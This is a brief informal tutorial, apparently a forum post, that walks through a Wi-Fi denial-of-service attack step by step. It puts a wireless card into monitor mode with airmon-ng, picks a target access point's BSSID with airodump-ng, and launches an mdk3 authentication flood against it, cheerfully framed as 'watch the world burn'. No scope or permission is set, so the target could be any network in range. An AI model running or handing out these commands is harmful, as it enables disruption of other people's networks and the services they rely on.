I'm going to teach you how to simply dos (Denial of service) a network. (My network card runs wlan0 your might not so use yours or this wont work.)
open up a terminal and type airmon-ng start wlan0 (or eth0 if your using Ethernet.) (Some times you might have to type airmon-ng check kill)
Next type airodump-ng wlan0 then find your Internet copy its bssid
If you want to watch the havoc type airodump-ng (your bssid) wlan0.
Now type mdk3 wlan0 a -e (Bssid) Done now watch the world burn.
a - Authentication DoS mode
Sends authentication frames to all APs found in range.
Too much clients freeze or reset some APs.
-e means send to this bssid
